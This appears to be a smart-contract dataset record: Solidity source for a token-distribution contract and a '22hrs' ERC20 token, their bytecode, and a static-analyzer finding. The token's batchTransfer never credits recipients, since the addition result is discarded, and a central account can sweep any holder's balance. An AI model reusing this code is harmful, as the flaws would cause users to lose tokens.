require(ERC20(_token).transfer(_hunter, _amount));
}
emit Distribution(_token, _host, _hunter, _amount);
}
function distributeTokenToAddressesAndAmounts(address _token, address _host, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_host != address(0));
require(_hunters.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
require(tokens[_token][_host] >= totalAmount);
tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], totalAmount);
if (_token == address(0)) {
for (uint i = 0; i < _hunters.length; i++) {
require(_hunters[i].send(_amounts[i]));
emit Distribution(_token, _host, _hunters[i], _amounts[i]);
}
} else {
for (uint k = 0; k < _hunters.length; k++) {
require(ERC20(_token).transfer(_hunters[k], _amounts[k]));
emit Distribution(_token, _host, _hunters[k], _amounts[k]);
}
}
}
function distributeTokenToAddressesAndAmountsWithoutHost(address _token, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_hunters.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
if (_token == address(0)) {
require(address(this).balance >= totalAmount);
for (uint i = 0; i < _hunters.length; i++) {
require(_hunters[i].send(_amounts[i]));
emit Distribution(_token, this, _hunters[i], _amounts[i]);
}
} else {
require(ERC20(_token).balanceOf(this) >= totalAmount);
for (uint k = 0; k < _hunters.length; k++) {
require(ERC20(_token).transfer(_hunters[k], _amounts[k]));
emit Distribution(_token, this, _hunters[k], _amounts[k]);
}
}
}
function distributeWithTransferFrom(address _token, address _ownerOfTokens, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_token != address(0));
require(_hunters.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
require(ERC20(_token).allowance(_ownerOfTokens, this) >= totalAmount);
for (uint i = 0; i < _hunters.length; i++) {
require(ERC20(_token).transferFrom(_ownerOfTokens, _hunters[i], _amounts[i]));
emit Distribution(_token, this, _hunters[i], _amounts[i]);
}
}
// in case of emergency
function approveToPullOutTokens(address _token, address _receiver, uint256 _amount) external onlyOwner {
ERC20(_token).approve(_receiver, _amount);
}
}
|
0x6080604052600436106100c15763ffffffff60e060020a6000350416632b44e5be81146100c6578063338b5dea146100f85780633f4ba83a1461011c578063508493bc146101315780635c975abb1461016a5780635f4402c514610193578063715018a6146101d45780638456cb59146101e95780638da5cb5b146101fe57806398ea5fca1461022f578063b0885dd614610237578063b425bd4314610278578063bd837b2b146102b1578063c0ee0b8a146102db578063f2fde38b14610344575b600080fd5b3480156100d257600080fd5b506100f6600160a060020a0360043581169060243581169060443516606435610365565b005b34801561010457600080fd5b506100f6600160a060020a036004351660243561053d565b34801561012857600080fd5b506100f66106a2565b34801561013d57600080fd5b50610158600160a060020a0360043581169060243516610718565b60408051918252519081900360200190f35b34801561017657600080fd5b5061017f610735565b604080519115158252519081900360200190f35b34801561019f57600080fd5b506100f6600160a060020a03600480358216916024803590911691604435808301929082013591606435918201910135610745565b3480156101e057600080fd5b506100f6610a9e565b3480156101f557600080fd5b506100f6610b0a565b34801561020a57600080fd5b50610213610b85565b60408051600160a060020a039092168252519081900360200190f35b6100f6610b94565b34801561024357600080fd5b506100f6600160a060020a03600480358216916024803590911691604435808301929082013591606435918201910135610c57565b34801561028457600080fd5b506100f660048035600160a060020a03169060248035808201929081013591604435908101910135610ed8565b3480156102bd57600080fd5b506100f6600160a060020a0360043581169060243516604435611229565b3480156102e757600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526100f6948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506112d49650505050505050565b34801561035057600080fd5b506100f6600160a060020a0360043516611389565b600054600160a060020a0316331461037c57600080fd5b600160a060020a038216151561039157600080fd5b600160a060020a038085166000908152600160209081526040808320938716835292905220548111156103c357600080fd5b600160a060020a038085166000908152600160209081526040808320938716835292905220546103f390826113ac565b600160a060020a03808616600081815260016020908152604080832094891683529390529190912091909155151561045a57604051600160a060020a0383169082156108fc029083906000818181858888f19350505050151561045557600080fd5b6104f4565b83600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156104bd57600080fd5b505af11580156104d1573d6000803e3d6000fd5b505050506040513d60208110156104e757600080fd5b505115156104f457600080fd5b81600160a060020a031683600160a060020a031685600160a060020a031660008051602061144f833981519152846040518082815260200191505060405180910390a450505050565b60005460a060020a900460ff161561055457600080fd5b600160a060020a038216151561056957600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529051600160a060020a038416916323b872dd9160648083019260209291908290030181600087803b1580156105d757600080fd5b505af11580156105eb573d6000803e3d6000fd5b505050506040513d602081101561060157600080fd5b5051151561060e57600080fd5b600160a060020a038216600090815260016020908152604080832033845290915290205461063c90826113be565b600160a060020a03831660008181526001602090815260408083203380855290835292819020859055805186815291820194909452835191937fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d792918290030190a35050565b600054600160a060020a031633146106b957600080fd5b60005460a060020a900460ff1615156106d157600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600160209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b60008054819081908190600160a060020a0316331461076357600080fd5b600160a060020a038916151561077857600080fd5b86851461078457600080fd5b60009350600092505b848310156107be576107b1848787868181106107a557fe5b905060200201356113be565b935060019092019161078d565b600160a060020a03808b166000908152600160209081526040808320938d16835292905220548411156107f057600080fd5b600160a060020a03808b166000908152600160209081526040808320938d168352929052205461082090856113ac565b600160a060020a03808c166000818152600160209081526040808320948f1683529390529190912091909155151561094357600091505b8682101561093e5787878381811061086b57fe5b90506020020135600160a060020a0316600160a060020a03166108fc878785818110151561089557fe5b905060200201359081150290604051600060405180830381858888f1935050505015156108c157600080fd5b8787838181106108cd57fe5b90506020020135600160a060020a0316600160a060020a031689600160a060020a03168b600160a060020a031660008051602061144f833981519152898987818110151561091757fe5b905060200201356040518082815260200191505060405180910390a4600190910190610857565b610a92565b5060005b86811015610a9257600160a060020a038a1663a9059cbb89898481811061096a57fe5b90506020020135600160a060020a0316888885818110151561098857fe5b905060200201356040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d6020811015610a0b57600080fd5b50511515610a1857600080fd5b878782818110610a2457fe5b90506020020135600160a060020a0316600160a060020a031689600160a060020a03168b600160a060020a031660008051602061144f8339815191528989868181101515610a6e57fe5b905060200201356040518082815260200191505060405180910390a4600101610947565b50505050505050505050565b600054600160a060020a03163314610ab557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314610b2157600080fd5b60005460a060020a900460ff1615610b3857600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60005460a060020a900460ff1615610bab57600080fd5b3360009081527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb496020526040902054610be490346113be565b3360008181527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49602090815260408083208590558051348152918201949094528351929391927fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7929181900390910190a3565b6000805481908190600160a060020a03163314610c7357600080fd5b600160a060020a0389161515610c8857600080fd5b858414610c9457600080fd5b60009250600091505b83821015610cc257610cb5838686858181106107a557fe5b9250600190910190610c9d565b604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152306024830152915185928c169163dd62ed3e9160448083019260209291908290030181600087803b158015610d2d57600080fd5b505af1158015610d41573d6000803e3d6000fd5b505050506040513d6020811015610d5757600080fd5b50511015610d6457600080fd5b5060005b85811015610ecd57600160a060020a0389166323b872dd89898985818110610d8c57fe5b90506020020135600160a060020a03168888868181101515610daa57fe5b905060200201356040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a031681526020018281526020019350505050602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d6020811015610e4657600080fd5b50511515610e5357600080fd5b868682818110610e5f57fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03168a600160a060020a031660008051602061144f8339815191528888868181101515610ea957fe5b905060200201356040518082815260200191505060405180910390a4600101610d68565b505050505050505050565b60008054819081908190600160a060020a03163314610ef657600080fd5b868514610f0257600080fd5b60009350600092505b84831015610f3057610f23848787868181106107a557fe5b9350600190920191610f0b565b600160a060020a038916151561103f573031841115610f4e57600080fd5b600091505b8682101561103a57878783818110610f6757fe5b90506020020135600160a060020a0316600160a060020a03166108fc8787858181101515610f9157fe5b905060200201359081150290604051600060405180830381858888f193505050501515610fbd57600080fd5b878783818110610fc957fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03168a600160a060020a031660008051602061144f833981519152898987818110151561101357fe5b905060200201356040518082815260200191505060405180910390a4600190910190610f53565b610ecd565b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290518591600160a060020a038c16916370a08231916024808201926020929091908290030181600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050506040513d60208110156110cd57600080fd5b505110156110da57600080fd5b5060005b86811015610ecd57600160a060020a03891663a9059cbb89898481811061110157fe5b90506020020135600160a060020a0316888885818110151561111f57fe5b905060200201356040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561117857600080fd5b505af115801561118c573d6000803e3d6000fd5b505050506040513d60208110156111a257600080fd5b505115156111af57600080fd5b8787828181106111bb57fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03168a600160a060020a031660008051602061144f833981519152898986818110151561120557fe5b905060200201356040518082815260200191505060405180910390a46001016110de565b600054600160a060020a0316331461124057600080fd5b82600160a060020a031663095ea7b383836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156112a357600080fd5b505af11580156112b7573d6000803e3d6000fd5b505050506040513d60208110156112cd57600080fd5b5050505050565b6000805460a060020a900460ff16156112ec57600080fd5b50336000818152600160209081526040808320600160a060020a038816845290915290205461131b90846113be565b600160a060020a038281166000818152600160209081526040808320948a16808452948252918290208590558151888152908101949094528051929391927fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79281900390910190a350505050565b600054600160a060020a031633146113a057600080fd5b6113a9816113d1565b50565b6000828211156113b857fe5b50900390565b818101828110156113cb57fe5b92915050565b600160a060020a03811615156113e657600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600bfec203a269774f1426f43ebb0f700c39a12194a6a7bec8afd165c9179cbe7dda165627a7a7230582075cddbafbfcc5ac612928f3055e4f5b86c8527692ee4eebada021048ac1e15be0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,643 |
0xd0434503c8ec962ae53e0fb085f00e440728620e
|
/**
*Submitted for verification at Etherscan.io on 2020-09-23
* Initial Seed fund contract
* Fractionalization of "22hrs" convenience store chain and tokenizing it
* https://22hrs.com, An initiative to bring the real-world assets into blockchain
*/
pragma solidity ^0.5.7;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract HRSToken{
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
uint256 internal _totalburnt;
uint256 mintLimit;
uint256 burnLimit;
address public owner;
address public newOwner;
address central_account;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address=>uint256) internal blocklist;
bool stopped=false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor () public {
_name = '22hrs';
_symbol = '22hrs';
_decimals = 18;
_totalSupply = 0;
_totalburnt = 0;
mintLimit = 1000000;
burnLimit = 1000000;
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
modifier onlycentralAccount {
require(msg.sender == central_account);
_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function isBlockList(address _ads) public view returns (bool){
if(blocklist[_ads]>0)
return true;
else
return false;
}
function mintStatus()public view returns (bool status){
return !stopped;
}
function set_centralAccount(address central_Acccount) external onlyOwner
{
require(blocklist[central_Acccount]==0);
central_account = central_Acccount;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _value) public returns (bool) {
require(blocklist[_spender]==0 && blocklist[msg.sender]==0);
require( _spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
require( _owner != address(0) && _spender !=address(0));
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(blocklist[_spender]==0 && blocklist[msg.sender]==0);
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(blocklist[_spender]==0 && blocklist[msg.sender]==0);
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// Transfer the balance from the owner's account to another account
function transfer(address _to, uint256 _value) public returns(bool){
require( balances[msg.sender]>= _value && _value > 0 );
require(blocklist[_to]==0 && blocklist[msg.sender]==0);
balances[msg.sender] = SafeMath.sub(balances[msg.sender] , _value);
balances[_to] = SafeMath.add(balances[_to] , _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/** Send _value amount of tokens from address _from to address _to
*
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
*
* tokens on your behalf, for example, to "deposit" to a contract address and/or to charge
*
* fees in sub-currencies; the command should fail unless the _from account has
*
* deliberately authorized the sender of the message via some mechanism; we propose
*
* these standardized APIs for approval:
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(blocklist[_to]==0 && blocklist[msg.sender]==0);
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_value > 0 );
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function transferby(address _from,address _to,uint256 _amount) external onlycentralAccount returns(bool success) {
require( _to != address(0));
require(blocklist[_from]==0 && blocklist[_to]==0);
require (balances[_from] >= _amount && _amount > 0);
balances[_from] = SafeMath.sub( balances[_from] , _amount);
balances[_to] = SafeMath.add(balances[_to] , _amount);
emit Transfer(_from, _to, _amount);
return true;
}
/** @notice Mint the specified value from the given address.
*
* @dev ads balance is added by the value they mentioned.
*
* @param value The amount to mint.
*
* @param ads address of the user
*
* @return success true if the mint succeeded.
*/
function mint(uint value , address ads) external onlycentralAccount returns (bool){
require(!stopped);
require(ads!=address(0) && value > 0 && value <= mintLimit);
require(blocklist[ads]==0);
_totalSupply = SafeMath.add(_totalSupply, value);
balances[ads] = SafeMath.add(balances[ads], value);
emit Transfer(address(0), ads, value);
return true;
}
function batchMint(address[] calldata _tos, uint256[] calldata _values) external onlycentralAccount returns (bool success) {
require(_tos.length == _values.length);
require(!stopped);
uint256 totalTransfers = _tos.length;
for (uint256 i = 0; i < totalTransfers; i++) {
address to = _tos[i];
uint256 value = _values[i];
require(to!=address(0) && value > 0 && value <= mintLimit);
require(blocklist[to]==0);
_totalSupply = SafeMath.add(_totalSupply, value);
balances[to] = SafeMath.add(balances[to], value);
emit Transfer(address(0), to, value);
}
return true;
}
/** @notice Burns the specified value from the given address.
*
* @dev ads balance is subtracted by the value they mentioned.
*
* @param value The amount to burn.
*
* @param ads address of the user
*
* @return success true if the burn succeeded.
*/
function burn(uint value , address ads) external onlycentralAccount returns (bool){
require(ads!=address(0) && value > 0 && !stopped);
require(blocklist[ads]==0);
require(balances[ads]>=value && value <= burnLimit);
balances[ads] = SafeMath.sub(balances[ads], value);
_totalSupply = SafeMath.sub(_totalSupply, value);
_totalburnt = SafeMath.add(_totalburnt,value);
emit Transfer(ads, address(0), value);
return true;
}
function increaseSupply(uint value, address to) external onlyOwner returns (bool) {
require(to!= address(0) && value > 0);
_totalSupply = SafeMath.add(_totalSupply, value);
balances[to] = SafeMath.add(balances[to], value);
emit Transfer(address(0), to, value);
return true;
}
function decreaseSupply(uint value, address from) external onlyOwner returns (bool) {
require(from!=address(0) && value > 0);
require(balances[from]>=value);
balances[from] = SafeMath.sub(balances[from], value);
_totalSupply = SafeMath.sub(_totalSupply, value);
_totalburnt = SafeMath.add(_totalburnt,value);
emit Transfer(from, address(0), value);
return true;
}
// called by the owner, pause Mint & Burn
function PauseMint() external onlyOwner{
stopped = true;
}
// called by the owner, resume Mint & Burn
function ResumeMint() external onlyOwner{
stopped = false;
}
// called by the owner, set Mint Limit for the Central Account
function SetMintLimit(uint256 _limit) external onlyOwner{
mintLimit = _limit;
}
function getMintLimit() public view returns(uint256){
return mintLimit;
}
// called by the owner, set Burn Limit for the Central Account
function SetBurnLimit(uint256 _limit) external onlyOwner{
burnLimit = _limit;
}
function getBurnLimit()public view returns(uint256){
return burnLimit;
}
// called by the owner, to add particular address to the blocklist
function addBlockLIst(address ads) external onlyOwner{
require(ads != owner);
blocklist[ads] = 1;
}
// called by the owner, to remove particular address from the blocklist
function removeBlockList(address ads) external onlyOwner{
blocklist[ads] = 0;
}
/** @notice This function transfers the balances of all the given addresses
* to the given destination.
*
* @dev The central account is the only authorized caller of
* this function. This function accepts an array of addresses to have their
* balances transferred for gas efficiency purposes.
* NOTE: transfers to the zero address are disallowed.
*
* @param _froms The addresses to have their balances swept.
* @param _to The destination address of all these transfers.
*/
function sweep(address[] calldata _froms, address _to) external onlycentralAccount returns(bool) {
require(_to != address(0));
uint256 lenFroms = _froms.length;
uint256 sweptBalance = 0;
for (uint256 i=0; i<lenFroms; ++i) {
address from = _froms[i];
uint256 fromBalance = balances[from];
if (fromBalance > 0) {
sweptBalance += fromBalance;
balances[from] = 0;
emit Transfer(from, _to, fromBalance);
}
}
if (sweptBalance > 0) {
balances[_to] = SafeMath.add(balances[_to],sweptBalance);
return true;
}
}
/** @notice A function for a sender to issue multiple transfers to multiple
* different addresses at once. This function is implemented for gas
* considerations when someone wishes to transfer, as one transaction is
* cheaper than issuing several distinct individual `transfer` transactions.
*
* @dev By specifying a set of destination addresses and values, the
* sender can issue one transaction to transfer multiple amounts to
* distinct addresses, rather than issuing each as a separate
* transaction. The `_tos` and `_values` arrays must be equal length, and
* an index in one array corresponds to the same index in the other array
* (e.g. `_tos[0]` will receive `_values[0]`, `_tos[1]` will receive
* `_values[1]`, and so on.)
* NOTE: transfers to the zero address are disallowed.
*
* @param _tos The destination addresses to receive the transfers.
* @param _values The values for each destination address.
* @return success If transfers succeeded.
*/
function batchTransfer(address[] memory _tos, uint256[] memory _values) public returns (bool success) {
require(_tos.length == _values.length);
uint256 totalTransfers = _tos.length;
uint256 senderBalance = balances[msg.sender];
for (uint256 i = 0; i < totalTransfers; i++) {
address to = _tos[i];
require(to != address(0));
uint256 amount = _values[i];
require(senderBalance >= amount);
if (msg.sender != to) {
senderBalance -= amount;
SafeMath.add(balances[to], amount);
}
emit Transfer(msg.sender, to, amount);
}
balances[msg.sender] = senderBalance;
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(blocklist[_newOwner]==0);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner && blocklist[msg.sender]==0);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function () external payable {
revert();
}
}
|
0x6080604052600436106101f95760003560e01c806379ba50971161010d5780639da3f8fd116100a0578063d73dd6231161006f578063d73dd62314610934578063dd62ed3e1461096d578063eb9763ed146109a8578063f2fde38b146109eb578063fcd3533c14610a1e576101f9565b80639da3f8fd1461084d578063a9059cbb14610862578063d20c88bd1461089b578063d4ee1d901461091f576101f9565b80638da5cb5b116100dc5780638da5cb5b1461079b57806394bf804d146107cc57806395d89b4114610805578063976687201461081a576101f9565b806379ba5097146106085780637e0c5a601461061d578063869e0e601461063257806388d695b21461066b576101f9565b8063313ce5671161019057806359b0d9311161015f57806359b0d9311461046b578063661884631461049e57806368573107146104d75780636f9ed0b6146105a257806370a08231146105d5576101f9565b8063313ce567146104015780633ad17f6d1461042c578063481298821461044157806356bda4a214610456576101f9565b8063202b5ba2116101cc578063202b5ba21461033557806323b872dd14610361578063255044f8146103a457806325ac635a146103d7576101f9565b806306fdde03146101fe578063095ea7b314610288578063124fc7e0146102d557806318160ddd1461030e575b600080fd5b34801561020a57600080fd5b50610213610a57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024d578181015183820152602001610235565b50505050905090810190601f16801561027a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029457600080fd5b506102c1600480360360408110156102ab57600080fd5b506001600160a01b038135169060200135610aed565b604080519115158252519081900360200190f35b3480156102e157600080fd5b506102c1600480360360408110156102f857600080fd5b50803590602001356001600160a01b0316610ba3565b34801561031a57600080fd5b50610323610c5b565b60408051918252519081900360200190f35b34801561034157600080fd5b5061035f6004803603602081101561035857600080fd5b5035610c61565b005b34801561036d57600080fd5b506102c16004803603606081101561038457600080fd5b506001600160a01b03813581169160208101359091169060400135610c7d565b3480156103b057600080fd5b5061035f600480360360208110156103c757600080fd5b50356001600160a01b0316610e1a565b3480156103e357600080fd5b5061035f600480360360208110156103fa57600080fd5b5035610e69565b34801561040d57600080fd5b50610416610e85565b6040805160ff9092168252519081900360200190f35b34801561043857600080fd5b50610323610e8e565b34801561044d57600080fd5b5061035f610e94565b34801561046257600080fd5b50610323610eba565b34801561047757600080fd5b5061035f6004803603602081101561048e57600080fd5b50356001600160a01b0316610ec0565b3480156104aa57600080fd5b506102c1600480360360408110156104c157600080fd5b506001600160a01b038135169060200135610ef1565b3480156104e357600080fd5b506102c1600480360360408110156104fa57600080fd5b810190602081018135600160201b81111561051457600080fd5b82018360208201111561052657600080fd5b803590602001918460208302840111600160201b8311171561054757600080fd5b919390929091602081019035600160201b81111561056457600080fd5b82018360208201111561057657600080fd5b803590602001918460208302840111600160201b8311171561059757600080fd5b509092509050611017565b3480156105ae57600080fd5b506102c1600480360360208110156105c557600080fd5b50356001600160a01b031661116f565b3480156105e157600080fd5b50610323600480360360208110156105f857600080fd5b50356001600160a01b031661119e565b34801561061457600080fd5b5061035f6111b9565b34801561062957600080fd5b5061035f61124f565b34801561063e57600080fd5b506102c16004803603604081101561065557600080fd5b50803590602001356001600160a01b0316611272565b34801561067757600080fd5b506102c16004803603604081101561068e57600080fd5b810190602081018135600160201b8111156106a857600080fd5b8201836020820111156106ba57600080fd5b803590602001918460208302840111600160201b831117156106db57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072a57600080fd5b82018360208201111561073c57600080fd5b803590602001918460208302840111600160201b8311171561075d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611366945050505050565b3480156107a757600080fd5b506107b061147c565b604080516001600160a01b039092168252519081900360200190f35b3480156107d857600080fd5b506102c1600480360360408110156107ef57600080fd5b50803590602001356001600160a01b031661148b565b34801561081157600080fd5b50610213611507565b34801561082657600080fd5b5061035f6004803603602081101561083d57600080fd5b50356001600160a01b0316611567565b34801561085957600080fd5b506102c16115c3565b34801561086e57600080fd5b506102c16004803603604081101561088557600080fd5b506001600160a01b0381351690602001356115cd565b3480156108a757600080fd5b506102c1600480360360408110156108be57600080fd5b810190602081018135600160201b8111156108d857600080fd5b8201836020820111156108ea57600080fd5b803590602001918460208302840111600160201b8311171561090b57600080fd5b9193509150356001600160a01b03166116c3565b34801561092b57600080fd5b506107b06117e2565b34801561094057600080fd5b506102c16004803603604081101561095757600080fd5b506001600160a01b0381351690602001356117f1565b34801561097957600080fd5b506103236004803603604081101561099057600080fd5b506001600160a01b03813581169160200135166118c0565b3480156109b457600080fd5b506102c1600480360360608110156109cb57600080fd5b506001600160a01b03813581169160208101359091169060400135611917565b3480156109f757600080fd5b5061035f60048036036020811015610a0e57600080fd5b50356001600160a01b0316611a5b565b348015610a2a57600080fd5b506102c160048036036040811015610a4157600080fd5b50803590602001356001600160a01b0316611ab7565b60008054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae35780601f10610ab857610100808354040283529160200191610ae3565b820191906000526020600020905b815481529060010190602001808311610ac657829003601f168201915b5050505050905090565b6001600160a01b0382166000908152600c6020526040812054158015610b205750336000908152600c6020526040902054155b610b2957600080fd5b6001600160a01b038316610b3c57600080fd5b336000818152600b602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6007546000906001600160a01b03163314610bbd57600080fd5b6001600160a01b03821615801590610bd55750600083115b610bde57600080fd5b610bea60035484611b57565b6003556001600160a01b0382166000908152600a6020526040902054610c109084611b57565b6001600160a01b0383166000818152600a60209081526040808320949094558351878152935192939192600080516020611b798339815191529281900390910190a350600192915050565b60035490565b6007546001600160a01b03163314610c7857600080fd5b600555565b60006001600160a01b038316610c9257600080fd5b6001600160a01b0383166000908152600c6020526040902054158015610cc55750336000908152600c6020526040902054155b610cce57600080fd5b6001600160a01b0384166000908152600a6020526040902054821115610cf357600080fd5b6001600160a01b0384166000908152600b60209081526040808320338452909152902054821115610d2357600080fd5b60008211610d3057600080fd5b6001600160a01b0384166000908152600a6020526040902054610d539083611b66565b6001600160a01b038086166000908152600a60205260408082209390935590851681522054610d829083611b57565b6001600160a01b038085166000908152600a60209081526040808320949094559187168152600b82528281203382529091522054610dc09083611b66565b6001600160a01b038086166000818152600b602090815260408083203384528252918290209490945580518681529051928716939192600080516020611b79833981519152929181900390910190a35060015b9392505050565b6007546001600160a01b03163314610e3157600080fd5b6007546001600160a01b0382811691161415610e4c57600080fd5b6001600160a01b03166000908152600c6020526040902060019055565b6007546001600160a01b03163314610e8057600080fd5b600655565b60025460ff1690565b60065490565b6007546001600160a01b03163314610eab57600080fd5b600d805460ff19166001179055565b60055490565b6007546001600160a01b03163314610ed757600080fd5b6001600160a01b03166000908152600c6020526040812055565b6001600160a01b0382166000908152600c6020526040812054158015610f245750336000908152600c6020526040902054155b610f2d57600080fd5b336000908152600b602090815260408083206001600160a01b038716845290915290205480831115610f8257336000908152600b602090815260408083206001600160a01b0388168452909152812055610fb1565b610f8c8184611b66565b336000908152600b602090815260408083206001600160a01b03891684529091529020555b336000818152600b602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6009546000906001600160a01b0316331461103157600080fd5b83821461103d57600080fd5b600d5460ff161561104d57600080fd5b8360005b8181101561116257600087878381811061106757fe5b905060200201356001600160a01b03169050600086868481811061108757fe5b60200291909101359150506001600160a01b038216158015906110aa5750600081115b80156110b857506005548111155b6110c157600080fd5b6001600160a01b0382166000908152600c6020526040902054156110e457600080fd5b6110f060035482611b57565b6003556001600160a01b0382166000908152600a60205260409020546111169082611b57565b6001600160a01b0383166000818152600a60209081526040808320949094558351858152935192939192600080516020611b798339815191529281900390910190a35050600101611051565b5060019695505050505050565b6001600160a01b0381166000908152600c60205260408120541561119557506001611199565b5060005b919050565b6001600160a01b03166000908152600a602052604090205490565b6008546001600160a01b0316331480156111e05750336000908152600c6020526040902054155b6111e957600080fd5b6008546007546040516001600160a01b0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360088054600780546001600160a01b03199081166001600160a01b03841617909155169055565b6007546001600160a01b0316331461126657600080fd5b600d805460ff19169055565b6007546000906001600160a01b0316331461128c57600080fd5b6001600160a01b038216158015906112a45750600083115b6112ad57600080fd5b6001600160a01b0382166000908152600a6020526040902